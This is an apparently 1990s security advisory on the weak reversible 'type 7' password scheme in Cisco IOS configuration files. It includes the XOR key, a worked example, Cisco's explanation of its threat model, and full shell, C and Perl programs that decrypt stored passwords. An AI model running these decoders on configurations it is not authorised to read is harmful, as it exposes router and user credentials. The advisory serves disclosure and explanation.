COMMAND
Encryption of passwords
SYSTEMS AFFECTED
Cisco
PROBLEM
When "service password-encryption" is configured into a cisco
router and the configuration subsequently viewed, the passwords
are no longer printed as plaintext but as strings of
randomish-looking garbage. Analysis of several samples reveals
the scrambling algorithm to be trivially weak.
Passwords can be up to eleven mixed-case characters. In the
"encrypted" representation, the first two bytes of the long string
are a random decimal offset between 0 and 15 into a magic block of
characters, and the remaining bytes are ascii-hex representations
of the password bytes xored against the character-block bytes from
the given offset on down. The character block is
"dsfd;kfoA,.iyewrkldJKDHSUB", which is enough for a maximum-length
password at the maximum offset.
Another character block consisting of
"sgvca69834ncxv9873254k;fg87" is located after the first one in
the IOS image, which may be relevant to something else and is
simply mentioned here for posterity. It is also interesting to
note that the strings "%02d" and "%02x" occur immediately
afterward, which in light of the above is another clue.
For those who want to save the time here's what cisco is doing in
words of .mudge. Assume the following:
Password 7 08204E
The encrypted string is 08204E. It must be an even length of
digits and the first two digits are used as a base 10 index into
the XOR string. The length of the plaintext password is
strlen(enc_pw) -2 / 2. In this case 2 chars.
08 is the index into the xor string.
2 is multiplied by 16 (or left shifted 4 times) then the next
digit (0) is added to it. [ == 32]
32 XOR xorstring[08] = 'a'
Move to the next two digits and repeat -
4 * 16 = 64
64 + 14 (E) = 78
increment the index into the xor string
78 XOR xorstring[08] = 'b'
In a couple of days you should be able to download a PalmPilot
version of this and a FORTH interpretation with instructions to
put it into your OpenBoot prom on SPARCs from the l0pht.
John Bashinski from CISCO posted more information. A non-Cisco
source has recently released a new program to decrypt user
passwords (and other passwords) in Cisco configuration files. The
program will not decrypt passwords set with the "enable secret"
command.
User passwords and most other passwords (*not* enable secrets) in
Cisco IOS configuration files are encrypted using a scheme that's
very weak by modern cryptographic standards. Although Cisco does
not distribute a decryption program, at least two different
decryption programs for Cisco IOS passwords are available to the
public on the Internet. It is expected any amateur cryptographer
to be able to create a new program with no more than a few hours'
work.
The scheme used by IOS for user passwords was never intended to
resist a determined, intelligent attack; it was designed to avoid
casual "over-the-shoulder" password theft. The threat model was
someone reading a password from an administrator's screen. The
scheme was never supposed to protect against someone conducting a
determined analysis of the configuration file.
Enable secrets are hashed using the MD5 algorithm. As far as
anyone at Cisco knows, it is impossible to recover an enable
secret based on the contents of a configuration file (other than
by obvious dictionary attacks). Note that this applies only to
passwords set with "enable secret", *not* to passwords set with
"enable password". Indeed, the strength of the encryption used is
the only significant difference between the two commands.
Almost all passwords and other authentication strings in Cisco IOS
configuration files are encrypted using the weak, reversible
scheme used for user passwords. To determine which scheme has
been used to encrypt a specific password, check the digit
preceding the encrypted string in the configuration file. If that
digit is a 7, the password has been encrypted using the weak
algorithm. If the digit is a 5, the password has been hashed using
the stronger MD5 algorithm.
For example, in the configuration command
enable secret 5 $1$iUjJ$cDZ03KKGh7mHfX2RSbDqP.
the enable secret has been hashed with MD5, whereas in the command
username jbash password 7 07362E590E1B1C041B1E124C0A2F2E206832752E1A01134D
the password has been encrypted using the weak reversible
algorithm.
AcidGum posted following program that decrypts cisco "encrypted"
passwords. Feed this confg files as stdin. Anything that looks
like a "type 7 encrypted" string gets decrypted. This should
really be a C program, but is presented as a script. The shell
script that was posted was originally written by Hobbit:
#! /bin/sh
while read xx ; do
case "$xx" in
*d\ 7\ [01]??* ) ;;
*) continue ;;
esac
DEC=`echo "$xx" | sed -e 's/.* //' -e 's/\(^..\).*/\1/'`
DP1=`expr $DEC + 1`
HEX=`echo "$xx" | sed -e 's/.* //' -e 's/^..\(..*\)/\1/'`
echo 'dsfd;kfoA,.iyewrkldJKDHSUB' | cut -c "${DP1}-30" >
/tmp/cis$$.pad
echo '#' > /tmp/cis$$.in
for xx in 1-2 3-4 5-6 7-8 9-10 11-12 13-14 15-16 17-18 19-20 21-22 ;
do
echo "${HEX}" | cut -c $xx | sed -e '/^$/q' -e 's/^/0x/' >>
/tmp/cis$$.in
done
echo -n "${DEC}${HEX}: "
data -g < /tmp/cis$$.in | xor /tmp/cis$$.pad
echo ''
done
rm -f /tmp/cis$$.pad /tmp/cis$$.in
exit 0
Following is C code that originally came from SPHiXe:
#include <stdio.h>
#include <ctype.h>
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
};
char pw_str1[] = " password 7 ";
char pw_str2[] = "enable password 7 ";
char pw_str3[] = "ip ftp password 7 ";
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}
if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
bzero(passwd, sizeof(passwd));
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;
if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!strncmp(line, pw_str3, strlen(pw_str3)))
pw_pos = strlen(pw_str3);
if(!strncmp(line, pw_str4, strlen(pw_str4)))
pw_pos = strlen(pw_str4);
if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}
bzero(passwd, sizeof(passwd));
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else if (pw_pos == strlen(pw_str2))
fprintf(out, "%s", pw_str2);
else if (pw_pos == strlen(pw_str3))
fprintf(out, "%s", pw_str3);
else if (pw_pos == strlen(pw_str4))
fprintf(out, "%s", pw_str4);
fprintf(out, "%s\n", passwd);
}
}
}
And following is a perl script:
#!/usr/bin/perl -w
# $Id: ios7decrypt.pl,v 1.3 1998/01/11 21:31:12 mesrik Exp $
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM>
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#
@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );
while (<>) {
if (/(password|md5)\s+7\s+([\da-f]+)/io) {
if (!(length($2) & 1)) {
$ep = $2; $dp = "";
($s, $e) = ($2 =~ /^(..)(.+)/o);
for ($i = 0; $i < length($e); $i+=2) {
$dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
}
s/7\s+$ep/$dp/;
}
}
print;
}
# eof
SOLUTION
No solution. This is how things stand. After all, if you can't
keep eye on your router, someone else will... Cisco has no
immediate plans to support a stronger encryption algorithm for IOS
user passwords.
It is not, in the general case, possible to switch user passwords
over to the MD5-based algorithm used for enable secrets, because
MD5 is a one-way hash, and the password can't be recovered from
the encrypted data at all. In order to support certain
authentication protocols (notably CHAP), the system needs access
to the clear text of user passwords, and therefore must store
them using a reversible algorithm.
Key management issues would make it a nontrivial task to switch
over to a stronger reversible algorithm, such as DES. Although it
would be easy to modify IOS to use DES to encrypt passwords,
there would be no security advantage in doing so if all IOS
systems used the same DES key. If different keys were used by
different systems, an administrative burden would be introduced
for all IOS network administrators, and portability of
configuration files between systems would be damaged.